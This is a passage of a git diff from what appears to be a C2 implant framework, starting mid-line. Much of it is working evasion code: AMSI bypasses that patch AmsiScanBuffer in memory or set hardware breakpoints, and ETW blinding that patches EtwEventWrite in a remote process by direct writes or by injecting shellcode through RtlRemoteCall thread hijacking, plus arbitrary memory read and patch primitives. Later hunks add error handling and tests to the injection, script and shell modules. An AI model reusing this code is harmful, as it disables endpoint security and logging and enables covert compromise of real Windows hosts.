"Success"; - } - - // cleanup - CloseHandle(hThread); - CloseHandle(hProcess); - } - else if(isRemotePatchDirect) - { - std::string process = "notepad.exe"; - std::string moduleName = "ntdll.dll"; - std::string target = "EtwEventWrite"; - std::string patch = "\x48\x33\xc0\xc3"; - int offset = 0; - - DWORD pid = FindTarget(process.c_str()); - if (pid == 0) - { - result += "Could not find target process."; - return -1; - } - - DWORD tid = FindThreadID(pid); - if (tid == 0) - { - result += "Could not find a thread."; - return -1; - } - - // open both process and thread in the remote target - HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); - if (hProcess == NULL) - { - result += "Error opening remote process and thread."; - return -1; - } - - FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); - void* address = reinterpret_cast(procAddress) + offset; - - DWORD oldprotect = 0; - VirtualProtectEx(hProcess, address, 1024, PAGE_READWRITE, &oldprotect); - - WriteProcessMemory(hProcess, address, (PVOID)patch.c_str(), patch.size(), 0); - - VirtualProtectEx(hProcess, address, 1024, oldprotect, &oldprotect); - - CloseHandle(hProcess); - } - - return 0; -} - - + { + /* + ARM64 has no EFlags/RF equivalent. + For single-step traps, continuation depends on how you enabled + the trap. There is no: + ContextRecord->EFlags |= (1 << 16) + on ARM64. + */ + return EXCEPTION_CONTINUE_EXECUTION; + } +#else + #error Unsupported architecture +#endif + + } + return EXCEPTION_CONTINUE_SEARCH; +} + + +int Evasion::amsiBypass(std::string& result) +{ + bool isPatchContext = false; + bool isHwBp = false; + bool codePatch = true; + // only work for the curent thread which is not ideal + if(isPatchContext) + { + string target = "AMSI\0\0\0\0"; + string patch = "ASM"; + int nbPatchApplied = findAndPatchStringInMemory(target.c_str(), patch.c_str(), (void*)(&target)); + + if(nbPatchApplied) + result+="Success"; + else + result+="Failed"; + } + // only work for the curent thread which is not ideal + else if(isHwBp) + { + AddVectoredExceptionHandler(1, &handlerAmsi); + + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); + DWORD64 dword64Address = reinterpret_cast(baseAddress); + + SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); + } + else if(codePatch) + { + std::string target = "AMSI"; + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); + int lenght = 0x100; + + void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); + + if(address) + { + DWORD oldprotect = 0; + VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); + + std::string patch = "ASMI"; + memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); + + VirtualProtect(address, 1024, oldprotect, &oldprotect); + result+="Success"; + } + else + { + result+="Failed"; + } + } + + return 1; +} + + +std::string wstringToString(const std::wstring& wstr) +{ + std::wstring_convert> converter; + return converter.to_bytes(wstr); +} + + +#if defined(_M_ARM64) + #define PEB_OFFSET 0x60 + #define READ_TEB() ((void*)__getReg(18)) + +#elif defined(_M_X64) + #define PEB_OFFSET 0x60 + #define READ_TEB() ((void*)__readgsqword(0x30)) + +#elif defined(_M_IX86) + #define PEB_OFFSET 0x30 + #define READ_TEB() ((void*)__readfsdword(0x18)) + +#else + #error Unsupported architecture +#endif + + +static void* GetPeb(void) +{ + unsigned char* teb = (unsigned char*)READ_TEB(); + return *(void**)(teb + PEB_OFFSET); +} + + +std::string EnumerateLoadedModules() +{ + // Get the PEB address + PPEB pPEB = (PPEB)GetPeb(); + + // Get the PEB_LDR_DATA structure + PPEB_LDR_DATA pLdr = pPEB->LoaderData; + + // Traverse the InLoadOrderModuleList + PLIST_ENTRY pListHead = &pLdr->InLoadOrderModuleList; + PLIST_ENTRY pListEntry = pListHead->Flink; + + std::string loadedModules; + while (pListEntry != pListHead) + { + PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + loadedModules += wstringToString(pEntry->FullDllName.Buffer); + loadedModules += "\n"; + pListEntry = pListEntry->Flink; + } + + return loadedModules; +} + + +std::string EnumerateExports(const char* moduleName) +{ + // Get the base address of the module + BYTE* baseAddress = (BYTE*)GetModuleHandleA(moduleName); + if (!baseAddress) + { + return "Failed to get module handle"; + } + + // Get the DOS header + IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress; + // Get the NT headers + IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew); + + // Get the export directory + IMAGE_DATA_DIRECTORY exportDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + exportDirectory.VirtualAddress); + + // Get the addresses of the functions, names, and ordinals + DWORD* functions = (DWORD*)(baseAddress + exportDir->AddressOfFunctions); + DWORD* names = (DWORD*)(baseAddress + exportDir->AddressOfNames); + WORD* ordinals = (WORD*)(baseAddress + exportDir->AddressOfNameOrdinals); + + // Enumerate the exported functions + std::string exportedFunctions; + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) + { + const char* functionName = (const char*)(baseAddress + names[i]); + DWORD64 functionAddress = (DWORD64)(baseAddress + functions[ordinals[i]]); + + std::stringstream ss; + ss << "0x" << std::hex << functionAddress; + std::string hexAddress = ss.str(); + + exportedFunctions += functionName; + exportedFunctions += " at address: "; + exportedFunctions += hexAddress; + exportedFunctions += "\n"; + } + + return exportedFunctions; +} + + +int Evasion::introspection(std::string& result, std::string& moduleName) +{ + if(moduleName.size()>0) + result = EnumerateExports(moduleName.c_str()); + else + result = EnumerateLoadedModules(); + return 0; +} + + +void* hexStringToPointer(const std::string& hexString) +{ + // Convert the hex string to an unsigned long long + unsigned long long address = std::stoull(hexString, nullptr, 16); + // Cast the address to a void* pointer + return reinterpret_cast(address); +} + + +std::string hexStringToBytes(const std::string& hexString) +{ + std::string bytes; + for (size_t i = 0; i < hexString.length(); i += 4) + { + // Extract the hex byte (skip the "\x" prefix) + std::string hexByte = hexString.substr(i + 2, 2); + // Convert the hex byte to an integer + unsigned int byte; + std::stringstream ss; + ss << std::hex << hexByte; + ss >> byte; + // Append the byte to the result string + bytes.push_back(static_cast(byte)); + } + return bytes; +} + +std::string stringToHexFormat(const std::string& input) +{ + std::ostringstream oss; + for (unsigned char c : input) + { + oss << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast(c); + } + return oss.str(); +} + + +// hexAddress: 0x12345678 +// patch: \x90\x90\x90\x90 +int Evasion::patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch) +{ + void* address = hexStringToPointer(hexAddress); + std::string bytes = hexStringToBytes(patch); + + MEMORY_BASIC_INFORMATION mbi; + size_t patchLength = std::strlen(bytes.c_str()); + + if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) + { + // check if write memory + if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) + { + memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); + } + else + { + DWORD oldprotect = 0; + VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); + + memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); + + VirtualProtect(address, 1024, oldprotect, &oldprotect); + } + } + + return 0; +} + + +int Evasion::readMemory(std::string& result, const std::string& hexAddress, const int size) +{ + void* address = hexStringToPointer(hexAddress); + MEMORY_BASIC_INFORMATION mbi; + SIZE_T bytesRead = 0; + + if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) + { + // check if read memory + if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) + { + char* buffer = new char[size]; + if (ReadProcessMemory(GetCurrentProcess(), address, buffer, size, &bytesRead)) + { + result = stringToHexFormat(buffer); + } + delete[] buffer; + } + } + + return 0; +} + + +// +// Remote patching +// +int FindTarget(const char *procname) +{ + HANDLE hProcSnap; + PROCESSENTRY32 pe32; + int pid = 0; + + hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (INVALID_HANDLE_VALUE == hProcSnap) return 0; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hProcSnap, &pe32)) + { + CloseHandle(hProcSnap); + return 0; + } + + while (Process32Next(hProcSnap, &pe32)) + { + if (lstrcmpiA(procname, pe32.szExeFile) == 0) + { + pid = pe32.th32ProcessID; + break; + } + } + + CloseHandle(hProcSnap); + + return pid; +} + + +int FindThreadID(int pid) +{ + int tid = 0; + THREADENTRY32 thEntry; + + thEntry.dwSize = sizeof(thEntry); + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + + while (Thread32Next(Snap, &thEntry)) + { + if (thEntry.th32OwnerProcessID == pid) + { + tid = thEntry.th32ThreadID; + break; + } + } + CloseHandle(Snap); + + return tid; +} + + +#define RETVAL_TAG 0xAABBCCDD +typedef NTSTATUS (NTAPI * RtlRemoteCall_t)(HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended); +typedef NTSTATUS (NTAPI * NtContinue_t)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert); +typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +typedef BOOL (WINAPI * WriteProcessMemory_t)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + + +typedef struct _API_REMOTE_CALL +{ + // remote API call return value + size_t retval; + + // standard function to call at the end of the shellcode + NtContinue_t ntContinue; + CONTEXT context; + + // remote function to call - adjust the types! + VirtualProtect_t ARK_func1; + PVOID address; + SIZE_T size; + DWORD newProtect; + DWORD oldProtect; + + WriteProcessMemory_t ARK_func2; + HANDLE process; + char patch[10]; + SIZE_T sizePatch; + SIZE_T numberOfBytesWritten; + +} ApiReeKall; + + +void SHELLCODE(ApiReeKall * ark) +{ + size_t ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->newProtect, &ark->oldProtect); + ret = (size_t) ark->ARK_func2(ark->process, ark->address, (void*)&ark->patch, ark->sizePatch, &ark->numberOfBytesWritten); + ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->oldProtect, &ark->oldProtect); + ark->retval = ret; + ark->ntContinue(&ark->context, 0); +} +void SHELLCODE_END(void) {} + + +size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) +{ + char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12 + 0x49, 0x8b, 0xd5, // mov rdx, r13 + 0x4d, 0x8b, 0xc6, // mov r8, r14 + 0x4d, 0x8b, 0xcf // mov r9, r15 + }; + int prolog_size = sizeof(prolog); + + // resolve needed API pointers + RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall"); + NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue"); + + if (pRtlRemoteCall == NULL || pNtContinue == NULL) + return -1; + + // allocate some space in the target for our shellcode + void * remote_mem = VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (remote_mem == NULL) + return -1; + + // calculate the size of our shellcode + size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE; + + size_t bOut = 0; +#ifdef _WIN64 + // first, write prolog, if the process is 64-bit + if (WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + return -1; + } +#else + // otherwise, ignore the prolog + prolog_size = 0; +#endif + + // write the main payload + if (WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + return -1; + } + + // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking + ark.retval = RETVAL_TAG; + ark.ntContinue = pNtContinue; + ark.context.ContextFlags = CONTEXT_FULL; + SuspendThread(hThread); + GetThreadContext(hThread, &ark.context); + + // prepare an argument to be passed to our shellcode + ApiReeKall * ark_arg; + ark_arg = (ApiReeKall *) ((size_t) remote_mem + prolog_size + sc_size + ((size_t) remote_mem + prolog_size + sc_size)%0x10); // align to 0x10 + if (WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) + { + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + ResumeThread(hThread); + return -1; + } + + NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1); + ResumeThread(hThread); + + // get the remote API call return value + size_t ret = 0; + while(TRUE) + { + Sleep(1000); + ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut); + if (ret != RETVAL_TAG) + break; + } + + // dealloc the shellcode memory to remove suspicious artifacts + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + + return ret; +} + + +int Evasion::remotePatch(std::string& result) +{ + bool isRemotePatchReeKall = false; + bool isRemotePatchDirect = true; + if(isRemotePatchReeKall) + { + std::string process = "notepad.exe"; + std::string moduleName = "ntdll.dll"; + std::string target = "EtwEventWrite"; + std::string patch = "\x48\x33\xc0\xc3"; + int offset = 0; + + DWORD pid = FindTarget(process.c_str()); + if (pid == 0) + { + result += "Could not find target process."; + return -1; + } + + DWORD tid = FindThreadID(pid); + if (tid == 0) + { + result += "Could not find a thread."; + return -1; + } + + // open both process and thread in the remote target + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, tid); + if (hProcess == NULL || hThread == NULL) + { + result += "Error opening remote process and thread."; + return -1; + } + + // prepare patching ApiReeKall struct + ApiReeKall ark = { 0 }; + ark.ARK_func1 = (VirtualProtect_t) GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect"); + FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); + ark.address = reinterpret_cast(procAddress) + offset; + ark.size = 1024; + ark.newProtect = PAGE_READWRITE; + ark.oldProtect = 0; + + ark.ARK_func2 = (WriteProcessMemory_t) GetProcAddress(LoadLibrary("kernel32.dll"), "WriteProcessMemory"); + ark.process = (HANDLE)-1; + memcpy(ark.patch, patch.c_str(), patch.size()); + ark.sizePatch = patch.size(); + ark.numberOfBytesWritten = 0; + + size_t ret = MakeReeKall(hProcess, hThread, ark); + if(ret==-1) + { + result += "Failed"; + } + else + { + result += "Success"; + } + + // cleanup + CloseHandle(hThread); + CloseHandle(hProcess); + } + else if(isRemotePatchDirect) + { + std::string process = "notepad.exe"; + std::string moduleName = "ntdll.dll"; + std::string target = "EtwEventWrite"; + std::string patch = "\x48\x33\xc0\xc3"; + int offset = 0; + + DWORD pid = FindTarget(process.c_str()); + if (pid == 0) + { + result += "Could not find target process."; + return -1; + } + + DWORD tid = FindThreadID(pid); + if (tid == 0) + { + result += "Could not find a thread."; + return -1; + } + + // open both process and thread in the remote target + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + if (hProcess == NULL) + { + result += "Error opening remote process and thread."; + return -1; + } + + FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); + void* address = reinterpret_cast(procAddress) + offset; + + DWORD oldprotect = 0; + VirtualProtectEx(hProcess, address, 1024, PAGE_READWRITE, &oldprotect); + + WriteProcessMemory(hProcess, address, (PVOID)patch.c_str(), patch.size(), 0); + + VirtualProtectEx(hProcess, address, 1024, oldprotect, &oldprotect); + + CloseHandle(hProcess); + } + + return 0; +} + + #endif diff --git a/modules/Evasion/Evasion.hpp b/modules/Evasion/Evasion.hpp index 29442ae..f8801f3 100644 --- a/modules/Evasion/Evasion.hpp +++ b/modules/Evasion/Evasion.hpp @@ -14,6 +14,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_WINDOWS; diff --git a/modules/Evasion/tests/testsEvasion.cpp b/modules/Evasion/tests/testsEvasion.cpp index f36a015..49d12a8 100644 --- a/modules/Evasion/tests/testsEvasion.cpp +++ b/modules/Evasion/tests/testsEvasion.cpp @@ -39,5 +39,16 @@ int main() ok &= expect(module.init(cmd, message) == -1, "ReadMemory should reject missing size"); } + { + Evasion module; + C2Message ret; + ret.set_errorCode(1); + ret.set_returnvalue("Error opening remote process and thread."); + std::string errorMsg; + + ok &= expect(module.errorCodeToMsg(ret, errorMsg) == 0, "evasion execution failure should map error text"); + ok &= expect(errorMsg == ret.returnvalue(), "evasion execution error text should come from returnvalue"); + } + return ok ? 0 : 1; } diff --git a/modules/Inject/Inject.cpp b/modules/Inject/Inject.cpp index a5dfc0e..8c55263 100644 --- a/modules/Inject/Inject.cpp +++ b/modules/Inject/Inject.cpp @@ -11,6 +11,12 @@ using namespace std; constexpr std::string_view moduleName = "inject"; constexpr unsigned long long moduleHash = djb2(moduleName); +namespace +{ + constexpr int ERROR_OPEN_PROCESS = 1; + constexpr int ERROR_CREATE_PROCESS = 2; +} + #ifdef _WIN32 #include @@ -423,8 +429,27 @@ int Inject::process(C2Message &c2Message, C2Message &c2RetMessage) c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); + if (result.find("OpenProcess failed.") != std::string::npos) + { + c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS); + } + else if (result.find("CreateProcess failed.") != std::string::npos) + { + c2RetMessage.set_errorCode(ERROR_CREATE_PROCESS); + } c2RetMessage.set_returnvalue(result); return 0; } +int Inject::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + diff --git a/modules/Inject/Inject.hpp b/modules/Inject/Inject.hpp index d7808df..2e8337a 100644 --- a/modules/Inject/Inject.hpp +++ b/modules/Inject/Inject.hpp @@ -18,6 +18,7 @@ public: int initConfig(const nlohmann::json &config); int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_WINDOWS; diff --git a/modules/Inject/tests/testsInject.cpp b/modules/Inject/tests/testsInject.cpp index 69d2405..51096c5 100644 --- a/modules/Inject/tests/testsInject.cpp +++ b/modules/Inject/tests/testsInject.cpp @@ -239,7 +239,11 @@ int main() C2Message retMessage; ok &= expect(module.process(message, retMessage) == 0, "process should return normally for an invalid pid"); + ok &= expect(retMessage.errorCode() > 0, "invalid pid should set an error code"); ok &= expect(retMessage.returnvalue() == "OpenProcess failed.", "invalid pid should report OpenProcess failure"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(retMessage, errorMsg) == 0, "invalid pid should map error text"); + ok &= expect(errorMsg == retMessage.returnvalue(), "invalid pid error text should come from returnvalue"); } { @@ -255,7 +259,11 @@ int main() C2Message retMessage; ok &= expect(module.process(message, retMessage) == 0, "spawn injection failure path should return normally"); + ok &= expect(retMessage.errorCode() > 0, "invalid spawn target should set an error code"); ok &= expect(retMessage.returnvalue() == "CreateProcess failed.", "invalid spawn target should report CreateProcess failure"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(retMessage, errorMsg) == 0, "invalid spawn target should map error text"); + ok &= expect(errorMsg == retMessage.returnvalue(), "invalid spawn target error text should come from returnvalue"); } { diff --git a/modules/ListDirectory/ListDirectory.cpp b/modules/ListDirectory/ListDirectory.cpp index 1799aca..c4bd201 100644 --- a/modules/ListDirectory/ListDirectory.cpp +++ b/modules/ListDirectory/ListDirectory.cpp @@ -13,6 +13,11 @@ using namespace std; constexpr std::string_view moduleName = "ls"; constexpr unsigned long long moduleHash = djb2(moduleName); +namespace +{ + constexpr int ERROR_LIST_DIRECTORY = 1; +} + #ifdef _WIN32 @@ -83,11 +88,26 @@ int ListDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(path); + if (outCmd.find("Error:") == 0) + { + c2RetMessage.set_errorCode(ERROR_LIST_DIRECTORY); + } c2RetMessage.set_returnvalue(outCmd); return 0; } +int ListDirectory::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + struct HumanReadable { std::uintmax_t size{}; private: friend @@ -127,10 +147,18 @@ std::string ListDirectory::listDirectory(const std::string& path) if(actualPath.empty()) actualPath=std::filesystem::current_path().string(); + std::error_code e; + if (!std::filesystem::exists(actualPath, e)) + { + result += "Error: "; + result += e ? e.message() : "path does not exist"; + result += "\n"; + return result; + } + result += actualPath; result += ":\n"; - std::error_code e; for (const filesystem::directory_entry& file : filesystem::directory_iterator(actualPath, e)) { try @@ -188,4 +216,4 @@ std::string ListDirectory::listDirectory(const std::string& path) } return result; -} \ No newline at end of file +} diff --git a/modules/ListDirectory/ListDirectory.hpp b/modules/ListDirectory/ListDirectory.hpp index ae3e3cd..8309748 100644 --- a/modules/ListDirectory/ListDirectory.hpp +++ b/modules/ListDirectory/ListDirectory.hpp @@ -14,6 +14,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_LINUX | OS_WINDOWS; diff --git a/modules/ListDirectory/tests/testsListDirectory.cpp b/modules/ListDirectory/tests/testsListDirectory.cpp index 94542d0..47da232 100644 --- a/modules/ListDirectory/tests/testsListDirectory.cpp +++ b/modules/ListDirectory/tests/testsListDirectory.cpp @@ -72,7 +72,11 @@ bool testListDirectory() c2Message.set_cmd(invalidPath); listDirectory->process(c2Message, c2RetMessage); std::cout << "invalid result: \n" << c2RetMessage.returnvalue() << std::endl; - if (c2RetMessage.returnvalue() != invalidPath + ":\n") { + std::string errorMsg; + listDirectory->errorCodeToMsg(c2RetMessage, errorMsg); + if (c2RetMessage.errorCode() <= 0 + || c2RetMessage.returnvalue().find("Error:") != 0 + || errorMsg != c2RetMessage.returnvalue()) { ok = false; } } diff --git a/modules/Script/Script.cpp b/modules/Script/Script.cpp index 239dc73..ab9c6eb 100644 --- a/modules/Script/Script.cpp +++ b/modules/Script/Script.cpp @@ -42,6 +42,14 @@ __attribute__((visibility("default"))) Script * ScriptConstructor() namespace { + constexpr int ERROR_SCRIPT_EXECUTION = 1; + constexpr int ERROR_UNSUPPORTED_SCRIPT_TYPE = 2; + constexpr int ERROR_TEMP_SCRIPT_PATH = 3; + constexpr int ERROR_TEMP_SCRIPT_WRITE = 4; + constexpr int ERROR_CREATE_PIPE = 5; + constexpr int ERROR_SET_HANDLE_INFO = 6; + constexpr int ERROR_CREATE_PROCESS = 7; + #ifdef _WIN32 bool hasWindowsScriptExtension(const std::string& path) { @@ -75,7 +83,7 @@ namespace return tempPath.string(); } - std::string runWindowsScriptFile(const std::string& scriptPath) + std::string runWindowsScriptFile(const std::string& scriptPath, int& errorCode) { std::string result; @@ -88,12 +96,14 @@ namespace HANDLE pipeWrite = nullptr; if (!CreatePipe(&pipeRead, &pipeWrite, &securityAttributes, 0)) { + errorCode = ERROR_CREATE_PIPE; return "CreatePipe failed."; } if (!SetHandleInformation(pipeRead, HANDLE_FLAG_INHERIT, 0)) { CloseHandle(pipeRead); CloseHandle(pipeWrite); + errorCode = ERROR_SET_HANDLE_INFO; return "SetHandleInformation failed."; } @@ -135,6 +145,7 @@ namespace if (!created) { CloseHandle(pipeRead); + errorCode = ERROR_CREATE_PROCESS; return "CreateProcess failed."; } @@ -221,6 +232,7 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) const std::string script = c2Message.data(); std::string result; + int errorCode = 0; #ifdef __linux__ @@ -229,11 +241,15 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) std::unique_ptr pipe(popen(script.c_str(), "r"), pclose); if (!pipe) { - throw std::runtime_error("popen() filed!"); + result = "popen() failed."; + errorCode = ERROR_SCRIPT_EXECUTION; } - while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) + else { - result += buffer.data(); + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) + { + result += buffer.data(); + } } #elif _WIN32 @@ -241,6 +257,7 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) if (!hasWindowsScriptExtension(c2Message.inputfile())) { result = "Unsupported script type on Windows. Use .bat or .cmd."; + errorCode = ERROR_UNSUPPORTED_SCRIPT_TYPE; } else { @@ -248,21 +265,28 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) if (tempScriptPath.empty()) { result = "Failed to create temporary script path."; + errorCode = ERROR_TEMP_SCRIPT_PATH; } else { { std::ofstream tempScript(tempScriptPath, std::ios::binary); tempScript.write(script.data(), static_cast(script.size())); + if (!tempScript.good()) + { + result = "Failed to write temporary script."; + errorCode = ERROR_TEMP_SCRIPT_WRITE; + } } - if (!std::filesystem::exists(tempScriptPath)) + if (errorCode == 0 && !std::filesystem::exists(tempScriptPath)) { result = "Failed to write temporary script."; + errorCode = ERROR_TEMP_SCRIPT_WRITE; } - else + else if (errorCode == 0) { - result = runWindowsScriptFile(tempScriptPath); + result = runWindowsScriptFile(tempScriptPath, errorCode); std::error_code ignored; std::filesystem::remove(tempScriptPath, ignored); } @@ -272,7 +296,22 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) #endif c2RetMessage.set_instruction(c2Message.instruction()); + if (errorCode > 0) + { + c2RetMessage.set_errorCode(errorCode); + } c2RetMessage.set_returnvalue(result); return 0; } + +int Script::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} diff --git a/modules/Script/Script.hpp b/modules/Script/Script.hpp index 9a2cb18..ddf5b13 100644 --- a/modules/Script/Script.hpp +++ b/modules/Script/Script.hpp @@ -14,6 +14,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_LINUX | OS_WINDOWS; diff --git a/modules/Script/tests/testsScript.cpp b/modules/Script/tests/testsScript.cpp index 3d83883..6cd6b0b 100644 --- a/modules/Script/tests/testsScript.cpp +++ b/modules/Script/tests/testsScript.cpp @@ -98,7 +98,11 @@ int main() ok &= expect(module.init(cmd, message) == 0, "unsupported Windows script extension should still be transportable"); ok &= expect(module.process(message, ret) == 0, "unsupported Windows script extension should return cleanly"); + ok &= expect(ret.errorCode() > 0, "unsupported Windows script extension should set an error code"); ok &= expectContains(ret.returnvalue(), "Unsupported script type on Windows", "unsupported Windows script extension should explain the rule"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(ret, errorMsg) == 0, "unsupported Windows script extension should map error text"); + ok &= expect(errorMsg == ret.returnvalue(), "unsupported Windows script error text should come from returnvalue"); std::filesystem::remove(script); } #endif diff --git a/modules/Shell/Shell.cpp b/modules/Shell/Shell.cpp index ebe15a2..81c936c 100644 --- a/modules/Shell/Shell.cpp +++ b/modules/Shell/Shell.cpp @@ -94,6 +94,12 @@ int Shell::followUp(const C2Message &c2RetMessage) int Shell::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) { + if(c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue().empty() + ? "Failed to start shell." + : c2RetMessage.returnvalue(); + } return 0; } @@ -211,6 +217,7 @@ int Shell::process(C2Message &c2Message, C2Message &c2RetMessage) if(startShell() != 0) { c2RetMessage.set_errorCode(1); + c2RetMessage.set_returnvalue("Failed to start shell."); return 0; } if(cmd.empty()) @@ -279,6 +286,7 @@ int Shell::process(C2Message &c2Message, C2Message &c2RetMessage) if(startShell() != 0) { c2RetMessage.set_errorCode(1); + c2RetMessage.set_returnvalue("Failed to start shell."); return 0; } if(cmd.empty()) diff --git a/modules/Shell/tests/testsShell.cpp b/modules/Shell/tests/testsShell.cpp index d9a0176..3e357d5 100644 --- a/modules/Shell/tests/testsShell.cpp +++ b/modules/Shell/tests/testsShell.cpp @@ -108,6 +108,9 @@ int main() C2Message ret; branchOk &= test_helpers::expect(shell.process(message, ret) == 0, "missing shell process should return through C2Message"); branchOk &= test_helpers::expect(ret.errorCode() == 1, "missing shell program should set error code 1"); + std::string errorMsg; + branchOk &= test_helpers::expect(shell.errorCodeToMsg(ret, 